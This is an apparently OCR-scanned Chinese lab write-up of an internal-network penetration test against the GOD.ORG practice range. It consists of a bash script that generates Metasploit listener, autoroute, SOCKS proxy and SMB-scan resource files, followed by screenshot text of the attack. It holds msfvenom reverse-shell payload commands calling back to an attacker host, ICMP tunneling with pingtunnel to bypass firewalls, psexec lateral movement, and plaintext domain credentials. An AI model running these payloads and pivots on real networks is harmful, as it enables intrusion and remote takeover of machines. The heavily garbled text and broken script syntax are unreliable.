(EARAREAR:

#!/bin/bash

# BEMIRIRE 4 AR

# X{4: penetration_test_report.sh

# fik: CS 1 MSF RiAZiE S EN I B Liks
# 1EE REE

# HHA: 2025-10-15

# MEEX
RED="033[0;31m’
GREEN="\033[0;32m’
YELLOW="\033[1;33m’
BLUE="\033[0;34m"
PURPLE="\033[0;35m'
CYAN="\033[0;36m’

NC="\033[0m" # No Color

# AR
log_info() {

echo -e "${BLUE}[INFOI${NC} $1"

log_success() {

echo -e "${GREEN}[SUCCESS]${NC} $1"



log_warning() {

echo -e "${YELLOW}[WARNING]${NC} $1"

log_error() {

echo -e "${RED}[ERROR]${NC} $1"

log_debug() {

echo -e "${PURPLE}[DEBUG]${NC} $1"

# AR &L

generate_header() {

echo
echo BEMRIRE - CS/MSF SiE£iE
echo

echo "&£ B AT [E): $(date)”
echo "EH#xM%&: 192.168.3.0/24, 192.168.52.0/24"

echo "MK AR L2 HIBA"



# INRREERE
check_environment() {

log_info "1& & BEMNHIAE..."

# B MSF BERE

if command -v msfconsole &> /dev/null; then
log_success "Metasploit 2 %%E"
msf_version=$(msfconsole --version 2>/dev/null | head -1)
echo" - RRZ: $msf version”

else
log_error "Metasploit &% %"

fi

# RENRKEE

log_info "I BEMERE.. "

ip addr show | grep -E "inet (192\.168\.3\.|192\.168\.52\.)" | while read line; do
log_success "& I BFrMZ&IZEA: $line”

done

# BEVETH
tools=("nmap" "proxychains" "curl" "netcat")
for tool in "${tools[@]}"; do
if command -v $tool &> /dev/null; then
log_success "$tool E& %"
else

log_warning "$tool K& i&"



fi
done

echo

# MSF IsffrasBcE
setup_msf_listener() {

log_info "E2& MSF K[a HTTP MKHT=s.."

cat > /tmp/msf_listener.rc << 'EOF
# MSF &[5 HTTP MUTERAcE
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 192.168.3.145
set LPORT 7777
set ExitOnSession false
exploit -j -z

EOF

log_success "MSF s Bc & E1R1FZ] /tmp/msf_listener.rc”
echo "BEEAA"
cat /tmp/msf_listener.rc

echo

# BRERE

setup_routing() {



log_info "BCE Meterpreter B&H.."

cat > /tmp/autoroute.rc << 'EOF
# BsRHERE
run post/multi/manage/autoroute

EOF

log_success "E&HECE E fRTFE| /tmp/autoroute.rc”

# B BIRMEER
log_info " B #RM£& %"
echo" -192.168.3.0/24"
echo" -192.168.52.0/24"
echo" -169.254.0.0/16"

echo

# SMB 3BECE
setup_smb_scan() {

log_info "ECE SMB ARAIIH..

cat > /tmp/smb_scan.rc << 'EOF
# SMB hR AL E
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.52.138
set THREADS 10

run



EOF

log_success "SMB i & ERFE| /tmp/smb_scan.rc”

echo

# SOCKS HIHEE
setup_socks_proxy() {

log_info "EC& SOCKS f{IE.."

cat > /tmp/socks_proxy.rc << 'EOF
# SOCKS RIEZfRFS=RECE
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 9050
set VERSION 4a
run

EOF

log_success "SOCKS RIZFCEE fR#FE /tmp/socks_proxy.rc”

# #&& proxychains ELE
if [ -f "/etc/proxychains4.conf” ]; then

log_info "#& & proxychains ECE.."

grep -A 2 "socks4" /etc/proxychains4.conf | head -3
fi

echo



# B kISR
firewall_bypass_techniques() {

log_info "IE3kFh K iESaT A"

cat > /tmp/firewall_bypass.md << 'EOF'

# BiKIEGRE AR

## 1. 1E[E)i%# (Bind TCP)
- ER%E HUEERE, AGEX R

- 5% set payload windows/meterpreter/bind_tcp

## 2. R[E%ERE (Reverse TCP/HTTP/HTTPS)
- ERAZR NGRS, HuhEX BEA

- % set payload windows/meterpreter/reverse_http

## 3. ICMP &8
- T A.: pingtunnel
- BR%im: /pingtunnel -type server

- & Pim: pingtunnel.exe -type client -1 127.0.0.1:8888 -s KALI_IP -t KALI_IP:9999

## 4. SOCKS HIE
- Fik IMiEE
- ECE&: auxiliary/server/socks_proxy

EOF



log_success "B K IESad AR R¥FEE] /tmp/firewall_bypass.md”

echo

# R MSF Venom #HE
generate_payloads() {

log_info "4 pY % FAE ...

# HERRE TCP #fr
log_info "# &[5 TCP #far..."

echo "msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.145
LPORT=4444 -f exe -0 payload_reverse_tcp.exe"

# HERRE HTTP #fs
log_info "4 & [a] HTTP #Hr.."

echo "msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.3.145
LPORT=7777 -f exe -0 payload_reverse_http.exe"

# AL ICMP BB E
log_info "4 B ICMP BXE##T..."

echo "msfvenom -p  windows/meterpreter/reverse_tcp  LHOST=127.0.0.1
LPORT=8888 -f exe -0 msf_icmp.exe"

echo

# RBEREER
post_exploitation_checklist() {

log_info "&£ /ESIBREFE.."



cat > /tmp/post_exploit_checklist. nd << 'EOF'

# BB ERERE

#H PR

-[] EEMLEE (ipconfig /all)
- [1 EFBKHEZ (route print)
-[] && ARP Xk (arp -a)

- [] s AHEEA M EA

## RIZTT

-[] BERGREE (systeminfo)
-[] EHTHER (wmic gfe list)
-[] RERERG

- [] REUES

#i 1EEBF

- [] WEEHREE (net view /domain)
- [1 E;HEIE (nltest /dclist)

- [] RAEIE R ELGE

-[] ERIEES

## AL

- [] RS
- [1 EMERBENE
- [] BRE5EIZ

- [TWMI EHT1d



EOF

log_success "G EREFEERFE] /tmp/post_exploit_checklist.md"

echo

# HERRITHRIA
generate_execution_script() {

log_info "4 i B &L HITHIA.."

cat > /tmp/auto_penetration.sh << 'EOF

#!/bin/bash

echo "FHiE B3 ENIR..."

# B3 MSF KTsEs
echo ")) MSFHTTP MKlfrzs.."

gnome-terminal -- msfconsole -r /tmp/msf_listener.rc

# EHFRIERN R ERH
VA4

echo "&1F Meterpreter iF.."

sleep 10

# BB
echo "ECEERHA.."

gnome-terminal -- msfconsole -r /tmp/autoroute.rc



# BE SOCKS ftIE
echo "/BxfI SOCKS 4LIE.."

gnome-terminal -- msfconsole -r /tmp/socks_proxy.rc

# 47 SMB 344
echo "HfTAMN SMB F344.."

gnome-terminal -- msfconsole -r /tmp/smb_scan.rc

echo "B EI{LBIAN 75"

EOF

chmod +x /tmp/auto_penetration.sh

log_success "B sk ITHIAERTFZE] /tmp/auto_penetration.sh”

echo

# R RERE
generate_summary() {

log_info "4 RLMIK B 4.

echo
echo Mk 2L
echo

echo "V B EKRETH"



echo "V MSF 5Ars8fc EptsE"

echo vV HHEREEERTH"

echo "V SOCKS RIBFECEgtzE"

echo "V B KIRGRIS AR L

echo "V HIAEM GBS HEER"

echo 'V ESERESETH"

echo "V BEILEIARL 5T

echo

echo "N —HH#R1E"

echo "1. #14T7: bash /tmp/auto_penetration.sh”
echo "2. & BARH= AT R B e

echo "3. 1®i¥ SOCKS RIBH{THMIEEFEE"

# FRE

main() {
clear
generate_header
check_environment
setup_msf_listener

setup_routing



setup_smb_scan
setup_socks_proxy
firewall_bypass_techniques
generate_payloads
post_exploitation_checklist
generate_execution_script

generate_summary

log_success "% MR R &4 Al SE R

log_info "Fr B ECE XHRFE /tmp/ BX"

# PITERE

Main

BITER:

root@kali: /home/kali
File Actions Edit View Help

:12 PM EDT
168.

#FHEO: inet 192 8. . 8.3.255 scope global dynamic noprefixroute

netcat 2

EE MSF R[E HTTP MW E ...

MSF BWTHEECSRFH /tmp/msf_listener.rc

set ExitOnSes
exploit -j

/tmp/autoroute.rc

B sMB MExAME ...
SMB AEBEEERHFH /tmp/s

RHE Socks 1 ...




File Actions Edit View Help
MRE socks X1 ...
OCks KRB EESR#FF /tmp/socks_proxy.rc
p s BE .

U & S
HABRED /tmp/firewall_byp
AR
[ TCP #E
nom -p windows/mete J se_tcp LHOST=19. .145 LPORT=4444 -f exe -o payload_reverse_tcp.exe
EMRE HTTP 8B
nom -p wind 3 r ttp LHOST=192.168.3.145 LPORT=7777 -f -0 payload_r e_http.exe
£ ICMP REE WG
venom -p windo terpreter/reverse_tcp LHOST=127.0.0.1 LPORT -f exe -o msf_icmp.e;
EmE @ ...
& ARLBRFEH /tmp/pos loit_checklist.md
ERBEMELRTEE ...
Bt $ /tmp/auto_penetration

SOCKS {12
1 4

sh /tmp/auto_penetration.sh
EERNSRATHERT

bash /tmp/auto_penetration.sh
I A 2% 3 17 48 N 3%
SOCKS {12 i# 1T /i ™ 1# [ # &h

; ] F il id 48 &5 % Al 55 AL !
EEXHREREE /tmp/ BF

/home/kali

/home/kali

SC18-cs F msf 215

ZBIMERC—T

" UD | e — = W —— me m= ace

address ~ name

T=T1 169.254.129.186 m

1 192168.3.100 - " STU1
o 192.168.52.20 Administrator *@2324 » | psexec64 T
16852, S
£ 192.168.52.138 can psexec_psh OWA
I 192.168.52.141 Services ssh ROOT-TVI862UBEH

Host

ssh-key

winrm

winrmé4




O
psexec
user password
Administrator hongrisec@2019
Administrator 8a963371a63944. ..
Administrator hongrisec@2019 GOD.ORG

User |Administrator

Password: [nongrisec@2019

Listener: ’SMB

|
|
Domain:  [GOD.ORG |
l
|

Session: ’Administrator *via 169.254.129.186@2324

[7] Use session's current access token

Launch Help

B 192.168.52.20 STU1

151 192.168.52.138 [psoree |
ROOT-TVI862UI

K1 192.168.52.141
psexec64

SYSTEM *@2676 »
Scan psexec_psh
Services ssh

Host ssh-key
winrm

winrmé4

psexec

password
Administrator hongrisec@2019

Administrator 8a963371a63944
Administrator hongrisec@2019  GOD.ORG

User: [Administrator

Password: [hongrisec@2019

Domain:  [GOD.ORG

Listener: [SMB

Session: [SYSTEM *via 169.254.129.186@1164

[] Use session's current access token

Launch Help




fhome/kali

sfcons
Metasplolt tip: View missing mq

¥ 2 B FARY reverse_tcp UK reverse_http
AT

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > |

RIE1BIT options EEFZBIREMTA

msf6 exploit( ) > options
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
LHOST ye The listen address (an interface may be specified)
LPORT 4444 ye The listen port
Exploit target:
Id Name

Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit( Y |

8 payload BUAK reverse_http

msfe exploit(
payload = windows/meterpreter

set payload windows/meterpreter/reverse_http
! e
msf6 exploit( ) [ |

rse_http

rev

wRE IP O
set lhost 192.168.3.145

1t > set lport 7777

lport = 7777
msfe exploit(

RIETTIMNE—TEAIREBE(X IP £ kali B9 IP(th gt 2 M =4 b (2T h E &R RE 9%
B R IX ik OREER cs B9k DHEREL, £ 1R EE)



msf6 exploit( ) > options

Payload options (windows/meterpreter/reverse_http):

Name Current Setting Required Description

EXITFUNC roce yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 2.168.3.145 = The local listener hostname
LPORT 7777 = The local listener port
LURI no The HTTP Path
€ Exploit target:
Id Name

Wildcard Target

- View the full module info with the info, or info -d command.

msf6 exploit( N |

2.cs 1% B s Wr=s £ A AYHLE foreign HTTP/HTTPs
(RIBAL RJE A add)

Name BB

Payload 1£#%¥ foregin http

LS kali B9 IP(msf RE28)

s A A0 msf =1HiwmH 7777 —2



B New Liste.. — L X

Create a listener.

Name: [msf }

Payload: [Foreign HTTP -]

Payload Options

HTTP Host (Stager): [192.168.3.145 ]

HTTP Port (Stager): [7777| |

HEFREHENRIGZEEAT XN B AR ER—ME web AR 553589 R M
AR ER;

JREEIL web AR 5538 5 fEBEAR

169254120186 ovo0 169.254.129.166 HTTP SYSTEM * [GOD ORGWdminstrator] STU1 rundis2.exe 1164 186
] 186 Admiisirator * GOD.ORG! sTU1 22 5

?ﬂdlﬁl’i%’:/\%ﬁéﬂ msf J:

Kl 169.254.129.186 ococ 169.254.129.186 HTTP SYSTEM * [GOD.ORG\Administrator] STU1

= 192.168.3.100 169.254.129.186 Interact Administrator * [GOD.ORG\Adminis... STU1

K 169254 120 186 ocoo 19216652138 | g HTTP SYSTEM * OWA
KX 169.254.129 186 ocoo 192.168.52.138 ot HTTP SYSTEM * OWA
ote...
KX 169254 120 186 ocoo 192.168.52.141 SYSTEM * ROOT-TVIgE

Dump Hashes

Explore | Elevate
Pivoting * | Golden Ticket
Session » | Make Token
One-liner
Run Mimikatz

JEFBEBNRIE N A EEA T
RIEEFETAIRIA eV A =g



Choose a payload — [ X

name payload host port

do oreig everse P 9 63
SMB windows/beacon_bind_pipe msagen...
HTTP windows/beacon_http/reverse_http 192.168.3.145 80

| cnoose |[-Add || Help|

%] kali £

msf6 exploit( ) > run

Started HTTP reverse handler on http 2.168.3.145:7777

3.145:7777 handling request from 192.168.3 2; (UUID: pw2i86pf) Without a database
load UUID t ki ill not work!
request from 192.168.3.100; (UUID: pw2i86pf) Staging x86 payloa
[!'] http: 3 from 192.168.3.100; (UUID: pw2i86pf) Without a database
connected that payload UUID trackin

Meterpreter session 1 opened (192.1¢ 92.168.3.100:13954) at 2025-10-09 08:31: -0
400

meterpreter >

JUEBRRIEE L LB
BE— TAUARH

meterpreter >
>

run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]

I E B AR
IEE RFHEMEBE XA BB AR E BB N A MRS A
[ :1==F

192.168.3.0/24

192.168.52.0/24
169(FEHL M)
BT T2 A INEIARS B



meterpreter > run post/multi/manage/autoroute

Running module against STU1

Searching for subnets to autoloute
[+] Route added to subnet 169.254.0. .255.0.0 from host's routing table.
[+] Route added to subnet 19 6 2 255.@ from host's routing table.
[+] Route added to subnet hi2 255.@ from host's routing table.
meterpreter > i

AT BOABS B MR BB REE T

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]

Active Routing Table

Subnet 4 Gateway

169.2 Session
192. 3 : T R Session
192. : : : : Session

meterpreter

PrAEZEEIX = EANREHARERRX ESETRTE 1 X EEBRYL B
AAWSE=F

Wi E BB E S R MR ER(52)
ARG RBERER I

Active Routing Table

Subnet Netmask Gateway
169.254.0.0 255.255.0.0 Session 1
192.168.3.0 255.255.255.0 Session 1
192.168.52.0 255.255.255.0 Session 1

2RI IP IUAE 192.168.52.0/24 XAFR,
RIBEE BRI REASEEEEXNRE R ARER—ME,

S REHEKIES cs IEIMHE‘K%% cs FIBARR SRR S BT E R B HISTE sessionl, 1
REEREL YR session] ILZI§S ESIEE SHMEMEFRHREA XL RELBIR

Msf ZRAAZLR

@use auxiliary/scanner/smb/smb_version



meterpreter > bac

r/smb/smb_version
options

/scanner/smb/smb_version):
Name

RHOSTS rget t(s), see https://docs.metasploit.com/docs/using-metasploit/bas
it.html

RPORT

THREADS 1

View the full module info with the info r info -d command.

nsf6 auxiliary(

msf6 auxiliary(

rhosts = 192.168.52.1.
msf6 auxiliary(

> options

Module options (: iliary/scanner/smb/smb_version)

Name Current Setting Reguired Description
RHOSTS 192.1

RPORT
THREADS 1

@RERIME R TANEBIES
run

socks fXIE

Disclosure Rank Chec Description

normal SOCKS Pr Server

normal SOCKS Proxy UNC Path
normal Sockso Music Host

Options EF—T



) > use auxiliary/server/socks_proxy
) > options

Module options (auxili server/socks_pr
Name Current Setting Required

SRVHOST ©0.0.0.0 L host or network int e to listen on. This must be an address on
e L machine or 0.0.0.0 to listen on all addresses.
e port to listen on

SOCKS version to use (Accepted: 4a, 5)

1080
4]

When VERSION is 5:

Name Current Setting Required Description

PASSWORD no

Proxy p
SERNAME no

Proxy username for SOC

Auxiliary action:
Name Description

Proxy Run a SOCKS proxy server

w the full module info with the info, or

) > 1

info -d command.

127.0.8.1 9058

s4.conf" 16:

mst6 auxiliary(
srvport = 9050
msfe auxiliary(

RRASBLAY 4a

msfé auxiliary( set version 4a

version = 4a

AREEE—TERE



msf6 auxiliary( ) > options

Module options (auxiliary/server/socks_proxy):

Name Current Setting Reguired Description

0.0.0.0 yes The 10&11 host or network interface to listen on. This must be an address on
the local machine or ©.2.0.0 to listen on all addres
PORT 9050 s The sten on

VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5)

When VERSION is 5:

Name Current Setting Required Description
no 1 for SOCKS5 listener
no Xy ername r SOCKSS5 listener

xiliary action:

Name Description

Proxy Run a SOCKS proxy server

View the full module info with the info r info -d command.

msf6 auxiliary( ) >

e runizfT— T

msf6 auxiliary( ) > run
Auxiliary module running as background job 0.
msf6 auxiliary( ) >

Starting the SOCKS proxy server

FANSAE— T L E PR

~

curl http://192.168.52.138

[DIO\”Chalﬂ:] config file found: /etc/proxychainsi.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

10.11
FIRHNFE:

RIEEB AR A M Z 8NN BAYERL (EA—NMIAA R BNEBE — BRI EER!
R R R AN R A IS %, R TR BE B AR RS AT IR ARSI ()&

T15 A AR ST . (BRARMLE R 77 EBRE TR 5 6Y)



(FRR AR (0]

FRiE R B2 RS H MR E 2 A9 6]
T3 7% PR ) ST R

BRI UFHBRY NS RIEE.

(ﬁﬁ}%—fﬁ'é%ﬁﬁ)\ii/i% 2l — LR B S BRI ), XS W 4575 BRI, e T REBR Bl — Lt 7t
FESR BRHI A9 E I AR ) )

1E[E) & [a)E 3%
1EE): B Pk R % i

TEmfE:
1. fRB23
2. BEFim

(
(EfR7) MERS=SMNTNIROGE, EhREERER.
3. RSEBIEZ

K, BIEEEE, WA REmEE.

HERER) R, E—TRFEMNIPHLNEO EFELN, FHEFIRNEE,
%
B

R BREimkEFin(FERN T HTLERE)
TEifiz:

- WEE (REERD) £ECN2MBRSHS LLESN—TRTER, Fi5Ek.

- EREENS LT TEFRER, XTREFNEEESATREENIPHIENRKDO .,
. BEENFZ LOEFED@INREER, ERINEENERIRD.
EREVE, WEEMRRF T HREEZNENETEE.

HlRSENBEHMR

1 - ab g A

2« o i FH BE i

3+ FT H AT AS H

TCP "LECMP

4, W AR R Y S IFiERE (socks)
5. T HBEIEEE I B (cs. MSF)
6~ I DT IR AL AR B 3 B T 1) 17 LR R T



S BB A B H A (win7)
SE:

— MBS T AN L BN £ X2 AT AL FEE MR EEENRE
(NN Z BIA K IELLTR)

SHH(F) #BEA) EE(V) #BEBi(H)
L e A4l o) HEY

@ AL HOE

= NS SR |4 BE A
ﬁy&iﬂ,ﬂlﬂ o @BranchCache 33FHLAT(... BranchCache - .. FfE B
:' tﬁyﬁﬂ“ @BranchCache WAHZE(H... BranchCache - .. FfE™

@BranchCache IE&E%&#F0R.. BranchCache -.. FfE
@BranchCache IE&4%#F%... BranchCache-.. FrE
@iSCSI fR&5(TCP-Out) iSCSI fRE ZH
@iSCSI fgR&(TCP-Out) iSCSI iR 1

® Media Center Extender -... Media Center Ex... FfE

B B 4 H A/ N AR U 4R B K BT I, 74 68 2 B
FENKRE® AR http PR

\, Al
OFvig S
- - - — — -
EEINTUCIE I - - = & — — "1v eamweas
B R
FRE RO AR
HE:
EaIRAHIE
o MR
o PiRIHO
. mp OF:1:10))
B RN,
o EEXH
. &% © 30 (0)
‘ ##) TCP 2 UDP 34 CEEEIHN.
O HRX(E):
BranchCache — Xf&HLZIL (£ WSD) -
% Windows fEIeIhEEERAIFMI.
) BREX ()

B SR .

QiEFE tep.FE7E 80 im M



HE]:

o HMER

o HrAHRD
o BfE

o EEXH

o ZF

HE:

o HIMZEE
o PrilFIEDO
o #fE

o BMEXH
o ZFK

HLE X T

e e AR L A RO RC B U

fEE AN A TH RO,

ZHNMAT TCP &£ UDP?

@ TCP
() UDP

WHNER TAE AR DR R EA R O?

O FrAEZA#ED (A)

© FrEA#HKO (S) : 80
Al 80, 443, 5000-5010

R EEESHN TR EHFHELRER ERTHERE.

EEFEEEF N RN ZETHABRIE?

O oa#rEE @)
XEHEFER IPsec FHFURRER IPsec RFHIZEE.
Rﬁ#féﬁﬁ ©)

EXNEEFER IPsec HITHMHRIER ﬁ% fEF IPsec BHEFHIREUREER
EHNT S F RN ERE X2 R

© FHiEEEE (K)

et 2 A A2

V] 5 (D)
R E R A

VI £/ ®
HENEE ARG EN LA,

VI 28 @)
HENEEARNSERN A,



WA BF

TE A BUMLRI LYV IR Im XL e

ZREN) :
test
BEEH
ZFR #iR (Tik) (D) :

|
BATREF RN BT IXE L BANAGUERI A5 80 i O
AEBATMIX—T,

: fe80::85a8:5207:9e3e:327c%11
: 192.168.3.100

: 255.255.255.0

: 192.168.3.1

. {43AF3215-AAB6-4AA1-B7T76-T7T39FTD787259} :

: BIRCHTH

. {4DAEBDFD-0177-4691-8243-B73297TE2FOFF} :

: BARCEHF

. (EC5TCHEB-763E-4000-9CDE-4D7FF 15DF 74C) :
: BARCHTH

- -~ . — tAkALm N T ~ . -~ . e — -

X vEAE % 192.168.3.100, fNE A K, 2 E 29, B AT € BN AN T 748 BRI,

HNE—IPAL



/home/kali

f ) windows/me pr ever L t 68.3.145 lport=4445 - payloadl.e
[-] No platform was selec , choosing Msf L indows from the pa
[-] No arch s cted, selecting arch:
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: payloadl.exe

fhome/kali

%
Metasploit tip: Start commands with a space to avoid saving them to history

TFR— sk

msfé > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6e explolit( ) > options

BE-TERE

mst6 expioiti 1 ) -'options
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description

LHOST yes The listen address (an interface may be specifi
LPORT 4444 yes The listen port

Exploit target:

Name

Wildcard Target

w the full module info with the info, or info -d command.

B & IP ik A payload
[P:0.0.0.0
i H:4445

Payload:i% & o & & (IE (@)% 2 bind)



|
msf6 exploit( ) > set lhost 0.0.08.0
' lThost = 0.0.0.0

 msf6 exploit( | set lport 4445
lport = 4445
De msf6 exploit( set payload windows/meterpreter/reverse_tcpl]j

N— s

zfT— 1

| msf6 exploit( ) > run
[
Started reverse TCP handler on 0.0.0.0:4445

Sending stage (176198 bytes) to 192.168.3.100

( Meterpreter session 1 opened (192.168.3.145:4445 — 192.168.3.100:56076) at 2025-10-12 04:45:46 -0400

¢ meterpreter > |

A& win? FEEFE—T

:\Users\Administrator>netstat -ano | findstr 4445
TCP 192.168.3.100:56076 192.168.3.145: 4445 ESTABLISHED 2688

:\Users\Administrator>
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C:\Users\Administrator>netstat -ano | findstr 4445

C:\Users\Administrator>
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C:\lWindows\system32>gpupdate /force
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C:\Windows\system32>gpupdate /force
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T A:pingtunnel
1LAEMET]

msfvenom -p windows/meterpreter/reverse_tcp Ihost=127.0.0.1 Iport=8888 -f exe -0

msf.exe

/home/kali
-p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8888 -f exe -o msf.exe

[-]1 No platform was selected, choosing Msf ::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch +10m the payload
o encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: msf.exe

FEARNE ICMP 8555 TCP &
2. FHRKWT

(5P O AN BE A2 8888)
BsRTEYIE B 9999

) » set lport 9999
msf6 exploit( ) > options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC roC yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address (an interface may be specified)
LPORT 99C yes The listen port
Exploit target:
Id Name

Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit( ) > |




£ win7 EEIMEE R SHMIE1T cmd

W4t Ihost: 0.0.0.0

3. FRERE
pingtunnel: A& s IR S if
ARG ImIER:

/pingtunnel -type server

/home/kali/Desktop/pingtunnel-master
/pE SEerver

pingtunnel.exe -type client -1 127.0.0.1:8888 -s 192.168.3.145 -t 192.168.3.145:9999 -
tcp 1 -noprint 1 -nolog 1

| B =100 L\WINAOWS\SYSTEM3£\CMa.exe - PINgIunnel.exe -type CHent -1 1£/.U.U. 115555 -5 19

C:\Users\Administrator\Desktop>pingtunnel. exe ~type client -1 127.0.0




